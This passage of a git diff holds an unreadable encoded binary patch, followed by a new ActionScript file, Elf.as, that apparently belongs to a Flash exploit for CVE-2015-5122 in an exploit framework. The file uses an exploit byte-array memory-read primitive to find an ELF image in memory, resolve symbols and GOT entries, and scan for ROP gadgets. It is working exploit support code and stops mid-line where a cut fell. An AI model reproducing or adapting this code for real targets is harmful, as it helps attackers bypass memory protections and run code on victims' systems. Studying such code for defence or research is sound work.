z2_i6WJlxmS(SOPYa90@XT2`*!&|=unW!MoBF>6nFyS<1S%;}`q`aq{dQB&t~mO8Dg zS~p<dwR_0nHrt2cHp!DJ3GsR&LlGxr21b@#1=(w&1l4U;VsYdI^R=#SA#P$jRO{+? z0cR+f*GaIO##fx1DAZWM%=Ilz8`rgNIL;0(*LO1y(OOj1^4o0O%6x1!K1psgQys`A zq3z_BQzD(%KJM=;KSb<_HwmR8pH8Q~-9MYKv2oRk)eX&u>c?11QX_W`ISbZ9^-E`s zyFVVf1XEQSJG8yB&h53AuqjN@wrv&|jOmX@DnDZdbYguyX!j#;iu)jMJnC*`_D71> z85gn#u5a0}agEJ?e5evTgD0bJOYgc!Gy($)osszbL*y7%1CoIg-v!P(-dP)_y$NJC z6P#yG8a8XP*Qq)B60ixP55bi@dHpfLlJ2-9-V94dLdi~OM>EErES#}Fduhvt_B9Rb zKtkIdT+woD`^weL8&|Zn2OF9;tcK-)buDW*wyfVU1Jl+%gosWQ&S*Q-ES@sb4^<Q6 z#_^$o6SZi{>;N6)Q-%)JK=LKz<lHkh_|aB!O0;)r8V=FQhpv=EWkbGp64{V>l9N@% zArf{vMapo}YU`>iwA%X08i@J|t**Q#pw$JiOsuP|t=8&r+@sZ(*Hq)<w7N3!d0P*i zPOZKM_v>rvK1h@7Ph5Pdg1QN6-KR$2tR&6!@@g;*L2Vs8O^zmeCG<Sq$@v2+>NWMa z7l5G($l6LgQ-k=&K7MOz>uP+d0|WY{f$|C*i1+qyjU<N)e5)()aBUs&SJi`i3bMMc zPOmI4N7R+&SQ|l7VwDw@l{M4$S63-xeZNhRa=$FaO&nLX#B>GrC@@`B1gZ})^UEb( zVs@i3>a=Cm{xW6z(O8#{r7XSV-+DW3SeT#X$;6)GXAg|^%7V`lv+RSkNIA&5b*uzY zn;DhDA7YT&C8jr+z3umzGLu}CeWuXKCE0#ke0=3Q3#`u+)_DcMtc^1_cOBxjI#$}x z6u<LQJ;V%ZM{2*!j`%EXnOHaUj_n^g-4oi}wRObeR#%O&1Vds~a<dFh*qML~K<yih zZPnzit3kjTaHK)PA_Zi11<Be<_|%qHmP0~aT(86)7|HqyJc|Kat%1`ma8N~Xa5+^6 zv;c;iR*RIi+6s!fvZ@Z5g4GKQcFYfm6I*nZlclLM(h&C+d0jp_tS-#cXB7Gi=T4Y0 zamK{D!Xxx0g`vW(2}>p}Dg3(r9GmbQ(|^w<{60l_94A=9i`^ai&CV?-#D<x=RT@bH z!w(ZMn5JcctVekAg;pT+LV?3>?4N0FGMxs6ao<egg@*VXkx?qNdBV3qXyrn~$#<pD z0yzJM_P1Iua*h<a4I;Nm<hBTHsmN^=xkriIl|oxBw6!AlSdk0G@DoJdi6Wy-Xze27 zD?$qktwTVSJ-<`rMuZj>Ih%wQ6I!>>P7>N?q4kKIUZM2~tzYB}2<>E{4T_w&(1wJz zMQGbZ#wo(LeG*g|juYDdiK4Fw?HfWn4VK@|z;z}rP@idM;{yGeb{4L4naDjK$N1nu z(=NjGP5cd|bB%b=z<;J)iR&s{;6T&BfmZZA{DS;U0|}aT1NPBCe5T!m>nFG#zy-E4 zO$eN+3hlSJKv<?d1%k4LV&aSV0YBNqHvl%$g!WJ7p02qk=<YeX`$DF>>vf#?0TrO> z8N&kF?773)q!$Tu(zpn%G@EqXYrt2f=>P@Du!`OYS1z{eN`g4x!{Jd0PL4}f;93O} ztI%oJ*C|?KZd0?^I<`Ssv3|ow-k96`)!~W_O5-p#IU8ZdRB1eq#0B8RY82mM!_`XT zCFF4_c~o7?hA(5RvHm*yx9WQPH~a(pH*_-_z7hAUe&pQ0m45AfKaXE3n3D4n8(yfm z{zwtJUS`8LF{R{BxG7$ND0!6x;pIyH3;{(R%Ew=j4?F+h_Db%sQUR34zad!Tn-px> z-xH~UI&bn6TvKsP!&QQ7F|NaK9ggeA4B|Etx0ASo#GNGWB5^l~dq~_%;yx1hllUo# zpON@EiC>WTC5eYfJWS#d5|5I2jKr@={D#EiB%UPkI}%Tmc!tEYBzBS*Au&o~7m3{@ z_K<ji#9Ji(LE>!^dr4R%-XZZX67Q0DkHo)8yiei-5+9QI4~dURd`#lM?0<|+{)C*L zO6M?#^E6Jrr<3yx={%F1JGh={TQ>AghRVL7W-n2)&_^>Gu$8QX<;%s4oXPG2#WQ{C z5@kJlD2Tht0USAci82ciI``})3TVMRg^k!^_D)-(l)yNEZ%re%nlp+UVHO~By6u<M z*$DFh*)#0Fata!iES5Xd{wuGm5e#4Xkwztl6--$|eW@_osN}Muh6W{%O_)Q>U&Wh< z_-o=ZMEo^r9r1om24UC)Ks1T>Yic*qeoZ@xXunE8AvT#!UrelDGwO)-YvvI|`sHtL zP)gV=uysvmvsZ!di_KZ@f>N?yEtZ9tTew8YRamLtF4{a$olRo>v$HoZQF0VEzt7IB z*}DXw8@6DeQJKRQ4m5!WtPJHXW#uUEJXV2n&S#Y<pUJ9Ft_3WBqAX<9$YvR<L4nFy zEecV=>X7|PR^QX0RIx?a$`3M_MPQ0gf_PvlAqnCE9!Qy~%u;|A$RyCtVri}5u)}j; zt$-hK<oaes<x3jCAg1xgrs`BcPwp6?hfGBl;V5~r4d_{H9UkIA4rMZxw9TX?NxHp? zZf7g2$Z&zYZP0DtB2}#vw~vKR<M9NPiGl-%&fZU;KSJK+UImbukbMUapdd*FXTusM zaxfU0NYIhNjDv1WL3Eb^VPW0Cc80QMFVAAJZ0ia}`jA)BafBc?ikAt8al1sWxb~C` z=X7ddK<R|}_`FWo5zkg`2P$K}#IczCZU&4?D1RiF&!B+@Eg+>+?2Klg4pZD`;DnuQ zZBGS71wl9NCCrHSGiKe(c7<}HIcHPM)_nw9DX?w5-_No!!2;R>uR==F`Z+);qroDU zTSMTYD*YGC`UMN+k>>=m2tZi^*aaYg1Qe;m06@ltSRSHSikBfzl`g!@paJJ{31DEz z8oNt{>GWHvm`|h@lOQKgAeReab9gT^`P0mLilG8_TTfHLpmT?U8QHLN0?GvF+{uE~ zs?Rd(+0-KK1Q%B}5}!CCwdqEY5sG6Mlh);*W~7n#pretuhrt{usbKz|g>pug=P(NS zB1JGd5}pVkO=!|6cv6sO_gGVU$WHTA<o<L(PAJo-b0A)*5zpc~M`BZeT0vWS85(># zLV*se99q#kqf@sMGX{RCc8QJ)?TVOv6fhG3e?<WwL%?b9%}6}{4EgR%d%Sp9*pJi8 zF*EV_D-`fG1e^}vtc35s$oD<?&VX-r!uL!llY+cyXLKffbI7*@8Tc0YUIJg_6la2z z(<E;g!sRBOzMjJU0O6*<H;)?g15O2n_g+?^+zIv6^^D{OPI9A4@@Vb1kjLmxsMb&L z=yYj2`#yCk*o|Ozdpc<VLzi$i)O>f@)J6}hI{}%S1MSO45Q-Ffr<lhF=b|g*YiO}w z!}GUl2%5K3mY1^OQgqiR)X==;^OWIv=#@{ZU^;qAbqL>nr;eb?N#Ffx)uFhXFDdTA zg;3>9m^Z-LXDR87M;A!B5Quvh9vMMYqv0~r;SH59FIPb3294clMYIwcyP>LR6=_FS z2WybiJ&ykiwtp?D*pmP69sd{AP(AcEp<cRJ`oHA(|3M8M7CkI__|E7N(jUscGX9q( zgH&`$!v7WW?*Pk3umQ2Ys-mCetFR;c2O3OJ@0Ioc2Gu+xc?|e~z%u02${y=Yb(i(` zM4h~qtdoC?uM_iBX!h>9mo$|@7qrVfb#}PLdUve&|8}zX{<z|Q;P`(yuK53P{6893 z%#R)a|Bfr>C*%(zh9C<0DHXDSX3r?fcqY_%rN-|J+xYtVpxpT;v_!!+*nrGl4CnOR ze7G*rLQ6x-Ld&AdqOHr90a^+)88mxK(0G?=;QX6zT~0qUtt;qf29$g8GtIhMGT=~0 zrvVNMBh1x^6RA;8xDm?8%c1suGlePwk)itz>iD-)usac~0xJD59dI`}qm^58Pr)<y z+J9I-0l`(Gs~m-LLHAZR@%^^H>?-8{Q^)^j+E`a1{|6lZpKD`Xh5R3M{GqH1vN5}> zkUw;C5&w#<xigW8$Lv4M@}1F@LAv{E$Kx!_b*rS$;~H^o>?}WCnfLs>^7*}Nii=r0 z5o~(yG{o>6JpdZ7Qfqf2AWI4OM|qp-=1+;+JmvPE?VA6Kwp6`>{gyq$R<C)3S?mM+ z?%>}9`S9vB$^>fT6HuLRQgyzCs$Pfa-j+F_7X9abTGXO=r-FkBKeMfW*$oRKB5K(8 z?1uff-LUUdlNA&9By74H*2hR=FRNBQ)+GNBCOn!`K0$99#(O3)(d3cmY5G#@41H&4 z{qpq+(mE6Or;db+tsT0Yx6Y!Unbz6#Gs8MZm)+<*J=yy<BzoWZV}6Sgeiw}SZA|!G zXw&V$NIoqWF40jLm+Cv`Js&;#;oT#n;iFv~4Re_!+#zP43Iw{E0)5vG^vGDC?;)#4 zW4ffS`+a?9@EFwRHIjk{Cf3~7QP;f%PnHZXgINK5+1#RonkZS&yQ!eE4-xM5Y?K(h zLy0c3$LS)f^-~HKExw#yWu%799?-1^^w2Wv=MWfu$Bsmg8;Ksje3^=5tOs?VB*Q0I zzmUIv>zDc{^rgcmS`VQnM&&4d81?-qB1Px5`zuYLk2xN8e<hz^+dlXWg`%NooAn!b zw9g?j*BZUldJ=z4l?+E1iBaNMeL9hQHg7EVU^$}J8y#zhWP9z>m+~oPHLKUW1nP+Q z&{LHu#5%Pawe|vPP1e{8KxL!IFY4BdROFZJA}>lS@*i|?yPkkD|B)R2u-|$)S=K*M zYfPnRk3qDrC!&4bj`nXlsFV=xoBNCQ@A@d!QKgLft;8P`{Xde?zfI9kqv%73{$Gjc z|7A!2zHYro#h+%qPpN!hr;^@YA3E*zAE&)OqB491?e%dokxwX*5?T{YLLz5KHk=!o za)x2;Fkl;EcDTbj%RrFn)LVNH<a`+f{q20LXHk3KHmq+Na`apbiXz$NDrG%=+i+%Z z8XMGmE;Ulhd|BcTD)SX!d7|m!DkIU2uBJ3+P?~Y1c@5G`_Va6y?k$Y{2n4Bix<5=$ z7mQ6ZvRjQ2>caO(%8?%<Gb5l`L_Q?h#_fsB9qVN7&ScVeQPMMkZq@KchSN`L#~kG1 z8RWv+Y0y$}gu=`kTU5>_y2Z0;YPwh|A1+ibmh?ObdKoBOVw*w7BXbkouru0|?B-WG zo>)<gd0ypsZcO#O+VMO#)$==!XKSkGcLlOGC$ZRj1lh43#aBfy2KZcR=3-<L6ge0H z*z9;hfEEY&>$QGIkCoD6*$D7FJ+=prZH}(NgYy#pq|RymS^5{le}2OMZSvnM{X5}r zCj9?H{vS*K0{AaT`0s#TrFAw4TsB9$;J+~8e=+%gTlz=gUq%_8jQm^!f12>GaS>Te zbn{3sh84l}WQM9-2g%KaG#lQ8K<Fi;Yf+)x1SQS&jN}GRa-({ai#TGUn}eIs)4&oF z?X$TA?v$S0@Vv`~e%uE-7+LOISY-qYO!8GgJ%y&Y?C-$;=Q2!Z?l9b7fuVBb4#54Z zvGB>M=rMV}AQyXIG-9;JUDgvWXKc{BgtBZs2~r)3CW5KvsifO)fhuNchc2g95X2-F zMTyr<HWt0sa}+-`Q986>gN8Re)k+0NOU_26yhJtnM}+8;#0h_*u)&j1*jHS5*Y#Pi zQRqr~c@H7<Un%sPG7PN--XfQL4^X$23ypsyy{OYlueXz4)McgDKa*b6VWrpJq!)Ep z>19#cRf#tKShg`HmXBT5|4`HsS!hYd5&+N-Tc#3iJ~MQ38hHbKd+lJMLEAIQ|3YLg zUflW@3&qFXB5D{K&%ZQ6Lt{~?Q)27kd721q85drYyfB9KHRSf8{P(b`z&0Pz!bBtr z)H#ol$Ad{+Vci%?)PXd~`(F}MXrD7H_R+m7fv!kGPwiuK8-k_V2kG+Y#X%f6K!TRf zi%YbNx!69~kj20exi$ol$sta>QxG^~=i7#T=powe-|0y-ZE8KG)~SOzOn~Gy(%4JE zIHti9hr)w6@gj{$JJV@#+6mH;m^Y;??qp!1joHs*07CRd($HQuOy-bSKpex?gCYRu zEj8s;0j;*Swg!j1(!4l+U{aib%P=fnQ%zutJ{;&))`EKmr%7WF8V3Y<(8C%!_6=02 zI9PVkQ4Ba|rWE4%WdcCLu&+xdcy(Ce6{<(5J~G3r777OF@kCM-R3{VVj0(HEFuDs! za;{MGgqknZ0<ytt;7FxH7*&K&Rs-1a2jh(5_ISKrx3Bmd!-IdMluRh&9KskE7Ad|G zeDC3-1wnnY*_^q!N^#A@H6NFWYXPo>xXN&q<EpG?b87Hg%QB1H*qYVE60+uMxRxkB zY~SWLVuR3C7zTpa4a_jirqZS(_WGa}h_`f5#Q_mO%|XqLO&e7Y>Tc}5XhzU*(>4m& zZD<RUd%UDdtsBeeMZ%RFd!KPH0yMXAQ^cS@<l>Pw)pW=3>FrT>faBHl#-MxV!(mFB zZf3;rUdhxS2LYd%6{Gh*a%hMR?_^u=VP@LPa+LS5@s*3kCe-{m$$XV$fkv`WCs|~? z$MC>^7;&wU0$HmLWvrbYMod5#3rw&v%zd<%$N}&cGZFL#+5!3@c7VV}j+qC)%d8uD zC?lE?@<n|_!3KqKLzE*ZcB#r?urHKJA}g8|%8q8!ULo|6h($S+7tPxl#k)9vc_wW= zVY`;;b1<i7Ta!WdSsX1c4;4fU%0orbA}OHDgPAWA_ib&Szhl!Yedb#iiT7_A?2O1s zAvyQWD;gU}X(7Jk?3YBHDXs*t#GVijG#@Vgf-_xOroYTwH|qcuQI?j%{wBDLv=C!+ z6!Bj<b5vT0vM)YM)s|Odma4}rg&9e!tFEfFrz1d90+pYCHo}2%b%k1A5r77-oQx(E zPNb<w%TJ$*Fw@x6jD40X4TP&%jw-W`nF(gUXSs_o@ytfQH|RehTrMN;9DQuw$smP* zTqTPRB@M+jnN69BYZ|T+T+?yQz~!IArp(1}DRbwz4QN2<OAwlA*<qRz<Uxi_kQIdD zggvJi&YWV<oI<BYG=~^MlXFP9J%^<5W2MX?U1M{|na&&{=L%tn;5$C+M{=&nP=18j zAd`{I;v}<Gk~td5T>VE3L2-&OHcLPm7PEwI-6dxSC{2h32r`1$us0rZlYmhWGWkpM zg7q9sBx8!mjArhP>dW0kH%g`=<aqa4Q?ZMR*`S<eiE^4Eq_D@k8`0Y1-8VMg9k@M= zNNkV85`u%2bHMm=;G+Si(0ex#a?$=m77q0ftU&keNxK<W3OoAyhoJW#27^=riwYEM zRy@|fZDs$Kc%*5|AUIZLcgCRp5B4PDFN*X<2IH-LtA}Ed!Sv{65zI9_)EPraIWukO z-%lusTK52+3r-T)TZpguypu(uq>Iy1cj^SQhSa&T)fD3Ut&ROwrfq-X;A@MT3TMht zYpQD#>ms$bqFe=7Os%V|byf`;A;e&+q@vuL(lYt`%Wt~5l4?M^bZ93R!t?+R(j;3Q zbe1^GmShXA3!V#u0A#|1y96&3coVA=-4n@(3I11bOoCs$g)_5o<>1Q0m5-|cR}roW zljxjvGV^)d8og2k41RMs)Fm8$Gku9lqf{)>@T0nxfN70s?j<nJ%yjP(fgc0el9YAA zrD8~`nrRQo!ZsLO4r2&uYy#fxd?KtIt2m#=A_wnxeHQEi7$yxz`gC{b;XGD_{lc~N zSv^)h=;2bW?D*dCI3waJY@nsT0SS6J_Vz=;?_y+B#hId$cfaJDPi<(%ktq;*IdHTG zS2t~3-@dY86?mi8Wx+St-?;^>k$vG!k-_|iHEUM1HZ^P@zLuudE7z=O+0c@gq7~5O zU^2ap8#in~nC8{Ttnzeh85$ymfo*-+jSWplwI9`T94M+<)~|1A&Lo<&qaxea3_`gr z(&cGd1_qdxcF<Ij4G>u4XzA<nIi8@PTDQS#d#}e@e8?qlw60o8Rzl>^&1qWKlAgKj zPN2yMZJo$jantHmpuyVEzE9912eIBX?uiWG!q=}}*S>L0GpMe7K*wXY*f;<%Uc?KZ zhITuD9zy3e$xQ2rzh#{cTwr9-E8XqEbqy<9@}h|bZJ}F1njM_`l3&XspFr7$BA%9G zTQ{^zUw7n`?jh-!FQK}}w5~$6wgagvxwmpD(qp>&y85>@bPh?Ps>0N8%`J(L`C}oQ zBY^P9u-dZL<`ym14Lc{T%_~~8?yjCl24VD*?du~5Z=(9_TZxZDc`NZr;i0Em8&<R) z-{O&qH<BAmw5~cDe$7xo*b0v>LGX06nIKRg=FsewEvq)BbqNr=Y#HkkzLgs{fU?Z4 zV{h*k=z`gmT(qj;=+>nTfGgY8)b2!F&==m?y(v7@KPc;r=6obmI6m}xJiTgZetO{b zc(iX*!K#*HkYMYI=Ju5Sp4S)I))edR>1r5Lg2_NP9xHVQi1o$_o{4*urIvLV1*=-< zro=%GHsfooIQ3?e-8%rfZfHKPFeO~4>>=w&ktOx(8`>A3aa)&_>`m)n!YDE*l`@WQ zf&CW(*5a=<7z>Uy7?1sz99Xt}7#diPr#-N2Z#l5C*SD-_LHD9TE(c^*96GM(Fc?O% zgKO)Ttv*Jh7ifX(qE4`6m&uD$AGX6LdX7UvXGhrHN+V?5#x-c$!j!<RG%g0W44{>> zH>_(|wLZ9d-O5BJlH6Q&#C8C5Ib>57Axj46rfkY$WXc%q0I0EyvD+womOY%4S<c)d zM|2{$UaSzDbelZ@joL|e>9Q{qOuW0x2lvJnieM!)THv)Mf~R{iRzB~`-k#7G2NScy zLB0x7mgvdgWl7h##lAavV{DC2l%nHbAYWpA4=ATrRUfF<s;dA*uc-|Hc~0bL&|w3B zyBsKVY&=vFolsQ`VZ*D-17JM^gd9G#b-<EV)K}C3IbL613&baG0|{Cs(WQYJ0)N+3 z)f3XRwgwVJYBeAsss=8-swz+pLZSdb?s`>C1->e(YO5<N^s2gg_y@`>5i(Fwi#!CX zDym2V%c=*ETlfcRtLq`_uvtP#)PNoUml51`bu|DbmLnHBu&w}vS69}9sSVoTAVR8! zZ6&w?e}x1_y+W@+$a=k|q83Qm8U(4<YXGdR(_xsYwo<PFZCpUFsjCNq*4}_2&}{i< z+H$D@F26#ptxA673>FT_ubd;&zjEvi7r<KW&z(Z4^o^Yt*k{7FONmft2o>Z;U^W7$ z5eSW7u4$oA%cWVSfKY3MS|`*+LOo2VM+kL^P#cBXEYzS-mkD)w!iLit*l-f+2B97; z)MJHuyiiXRYMW5MBGe9{b_q2q)R<8Fg(?B6>Sm$#2o>x`TZDQmbDxZltlP*Eoq=^* zpt`#698RBDn|pedMRBZY45el(+ja`B?YK_G^;KN|hwE#&zK-h~xP}?TX(Uc3aR!Mq zN$enT7KyV-oI~PV66cXPpTq?uE+lagiEonl7Kw{VTted8BrYX!8HvkDTtVVW5?7J9 zn#6ZVe3!)cNPM5fH6*SjaUF^4N!&o<2PA$-;zklTk+_+}k4W4?;>YZE#<tx-&N~^a zSwtU@Y%zT~RsjYVWC3S4D&TxM2AnU)fU_GFaCV~tv>PRYA^^aS;R?C}d5j5n&>bjX zFlrU_1d2e-><xMY#f*7;L0@1J)aEmS8G$K``7(o<foWhP$_i!$ri1?|JD4575mi=B zFeiXxsO;QeZUARKIeEdn01k0-^Mm<;`HbZi1PcN<bjdFa76!@~D<}#U1u7UToDiH4 zsDk0G;$U&0nz0EJgA)U_j1^A`P72gBHgR%ra$qq7uXJ!q;BbI2rv|46j%4_<4o(X+ zFgCR$SQ2PrY})kT^gs(^B{PCE0!ta2J~KEo(8|~hf6yN|im{oqg0liE8S~E$&JL_* zY}TCMoWNQJa|6M-f%ObqgTd0kM#kpO3(gB1!&vG3;QYXGjLkEHX5a+I<}U~?2!t3j z7X}vw+8J9=7Ay;d8CzH$EDv-tR#p+L2t*hwuMAcOHZfLF6|4$$GguB%Sq*)$W7b1M zX*v)La@)^=7t*$0!`QZ8``9P@SI2h!u1MMSyT{q}!*{v?t`lMA#00+6#apb+W#+|j zzLf7eo42{mf*33$6}oTWZ632I20D=mo`-mw*DQ{~tkFd8A9$P3oD}ozWs`j$^0o|f zN-P5wxH2wP+cM2*vCO@!B=bhKEz6u9%i7CkWc^xg%Qk1mvSBqh`*pP~$D9?*fgP-z zv$VEcb51OGFPoctv(}bpmd5h-vUz!rX>IxD{8&B!c=@krZ3X6nSOFk;1>e%!3eB=u z;a*l=c#qyzWLCtAU|^}}S-ow7Srx;#QeeVcdRwts9V_0;YOuH4Hqoq&;q$3(;t!0r zNoIX)(q6V`(!)mEWOH#0UsQ)p{)5pr#XLMV1qPX>d}y>yHIIzpBWuaj{~2x5%!b&s zy{vKCRidrLY>JiaWz8ku7j4tcme_P~#7w_Iw9PP=#%6#QX2xTpZKl~8n+YzMnY%@s z-#jYj-^*6`|1H{PnJZ)XW?MDuVprR2b9HPs=vijp=4zW`u8qwBJ<FUYTy1mB^|84) z<(vB#S6ivMF;)t&TIp%-wt40;#6ffHyldTU^UdRkgXZ}854qb+^916cInjK{-L}9C z5eH4%f{)y73(a=op!v$et2}LGW;j;1mvxl=)YDdOcE-?my2_vTv{jgqSjAozt$4@N zR%vdEfv_r8d6BoR%IuC+(PyOwG}qjBPO@$URnA_vS-BCd-or@t@*BOl@gpzo>9nfW zEnfQQ1ob-3H&3#Dg7DV;-cU`bHd-61i`Ef(Xn74WnbWq7HXYlvCs`9ihlLK09$p?= z6kQ|*?byU>aL3-T`LjrVo{}-3vVDyKCAMmoD$76b3W#D{yl;$H2(89?h3+oe_byo( zI>4<(Qt#H*V8%Yqs>rr=>sLs_u8AEDTh;IX)7WtwCbfZ&IdHxXndR2LIMjm&Bm2wx z|1a?((@VcteiI)mU5TnqwJ4EdXu@NE_K^CRIvDS1`C_SICt{8B1w{#_>zsS&E6>(4 z_qMk;tgmWsU$`~WX&jA@mj1zn84!Wzn(>h?x}-IUc*7UW3E2*{+o$zQ#E{<7JlZEf z+Z%5f+~mSBqqOx2t<<3{gMIO)FO~|pse4+n?}1OMQ-+f4^Uea)-U&?Ep*-vhCPJGf zkqn%gMh2l47$FkoFW8@ObV?>fBptZivT?p<7Jadtb)&y&-H33-7khqCa&4nirR9kX zzZ_uB+0Tqf25%1#x?sOE)WNo9HE75NG|;jJrpRa0JJ8rHr&U55PpiboQF6~g4p9x? zKozv3mpYE1hF4ePP00&vkW|&@?I!`8;MA9Aq;)E-rmnKwkUMM<n3}Dx&Dp07@ikao zDR;v)oZ3_t?!Q){ja*T=A1gg7v;l>*c9mV2TbS>fhZB`z$I=zHjB%!{<$>&VijETt zHdU}`f|Uq1OBnN|k*g|UR12e481=$fER4g2ailOBYz|l0lm+G+`>ohm#(pmuykgK} z;mi#e=rTF>qqBxHG8JBQrotzjsVOeEhfO($dA-FGCrwt|GtR_{+CMx~anD9zuY2zB z%sBu#;fsbTnI>DX5LX$l3S5=A0=Q~$)!|x%>o8nL;97#K5mz&=AS;5lPi6*eS&{0C zv~C59R<LfB(S(yE6?Uy~=A6|))~&KhCCPwYD_FMzz!}!9VAsmS+^}l}>sAHQx>X@D zk-|nP%VI@Xv9b&@Z)Mx|&cd7DvF$xAG=a=p6*({ZN2yX!3}8@fP(wUjDR|t$OvW^H zawlNAfgLB{KIW8^)t`5H;6(4BMA8q4utrF=UT1?Z(u3?b|IS2suo0(L2P#v*Ap12I zrNWq;eVpNu#~C=k;B<bWdVv^l&MZiq5hn?PxqvEg`IyS>lL<yA6FxA?(K!gU4<4ZN zh79|ABEOB5gy}>s^*}+his6G3eEUE_vvNZkk*b!HAOo4|JDSswO=CxF_KpuuhNYQ< z#6oR)4w}x{403LL$+LvdXjej+j)`K8G+sknRCb#=3i(b(8a{6yaW>JM#}BfFX0QBG z_Q9M-616jK6V2%-9=VCrLZGaK5sk4;wKPnEtl}@erB+cD2+&kr;~bP%K_UB~2ptVt z-IX|?13$HWCZ1PVAa{%8$r{0P?0q76{H<ZD2nT9F>v&1gS)J_8wfAN;MbmX7;~bSX zXM8?4$hH+Pu=UuVF^brPVq6n(O~N&0Dw{A3za>m~<%zc{PrSL0_ARIf2g!sUQ-Gq; zXx{?g%Ywd_!B;20my7rLT%KotE>l;hTr7OYWi6#ZZe=OpG7Q4YA$;mm+&Rkm$XQ8B zL8`Tih69Wt8z%1c(o;D~zttZSxLi?}RLH}Dn>DaAiajlDSUhhH+J>r~PahXPeKN>& za5)`tOCdjf1md$leJ&WYG)r&uGG`r`7)DF760iBh0`usWb?dP$JufyiGyvmE+qP|6 z81Cxth+r|$TZUc0nzAUmJw67?<ie>h+~W-_tXWvTu(GPMyh1th^Y(qp)nX@c^n3%$ zZ0uiW4D`cV*Y;p{PXvD%UEP~t^~n{3(I>Lu<m!&E@7~lG>GExj40cDiH_O{aDTjIX z8h3+4y@_@^&dm0-NJYCHtGhiBt-C!DZ$^7+#1q;N5OccK)JzAt=S&7Pu;c>DDO{rJ z$Bj|Z6^Vwo^bE}(AN&Am5=<|-HcLcpmxOK+cR*UIiNfvoW}>`wlK_WlPug!Tr!*8I z@iDTW)y^RvPJCYO6D+MoD2;uJX15*PA{0eh22<OJ0v!B(2*WW|<yEyXp-PifO?^E! z|7(CltiXyBd-`=+fKC8lOI6ykg9}^m8jM2JVD(r95vT}gHH2KOsfQotELeZ2uCGgc znSGYsaSbO10bmoLt4Y(HURWY0yJC9pvP{9U1j{A^sMtVbd4fq85VN<&i-k6wpg-U> zNKS%;T@*A$YKyTE?p{pGB^^LSFaG&_-lB6v!p<p8j1ys!fTqR_#XAXD1Q<Q_!pgP} z7Ed##!IEgkjNt;s>xb_w_|C@csVn(&*xXWF^Ki|_W#U?ZYay;OT;;eba8=@}!iBBY zxz)I8aMj|f!&Q%K(cx_F5%@il6&AU%Sj_=~(Tk-4teiqMT9bdMFm|e93YCB8Ib;#l zFl?YB$R$x<o+V0#!rX4MkLqzZVFl^M<c(;2d1NLvgUdfMfr@maBIT3W(B1Z6PGy+Z zy)>;e5Z%*so}1^R`CfCF;Zv2XU7FqvxN|+t#zLtlwgd<_hw!KnUJb&hLu45B2-rYs z4^2=N;8yd_QB3MBJ9ou2D@ZfEj#oj49y6?EHj=T`1~M)O8LK<yu~yLZPk;*_;)!9S z>m))kV!cIv8Swi${Dz^*roj{0*L1>kOHFHNS4TnGZL4CF@2v!Qx(&XBXp*GV<og); z{sz7t_@b9-`ULp?4!(e2D!*gaGk{VdC(qJSO&T+&r(UC{UdL0k&4yijJ6&Kip|Sv9 zGEnbH_+Cud%5MXPNytf%_#|wf7Xdk$f|raHB3^nU`SNIe4i1){{_Y`V3Eck=JR6lJ DUwZKS literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2015-5122/Elf.as b/external/source/exploits/CVE-2015-5122/Elf.as new file mode 100755 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-5122/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry 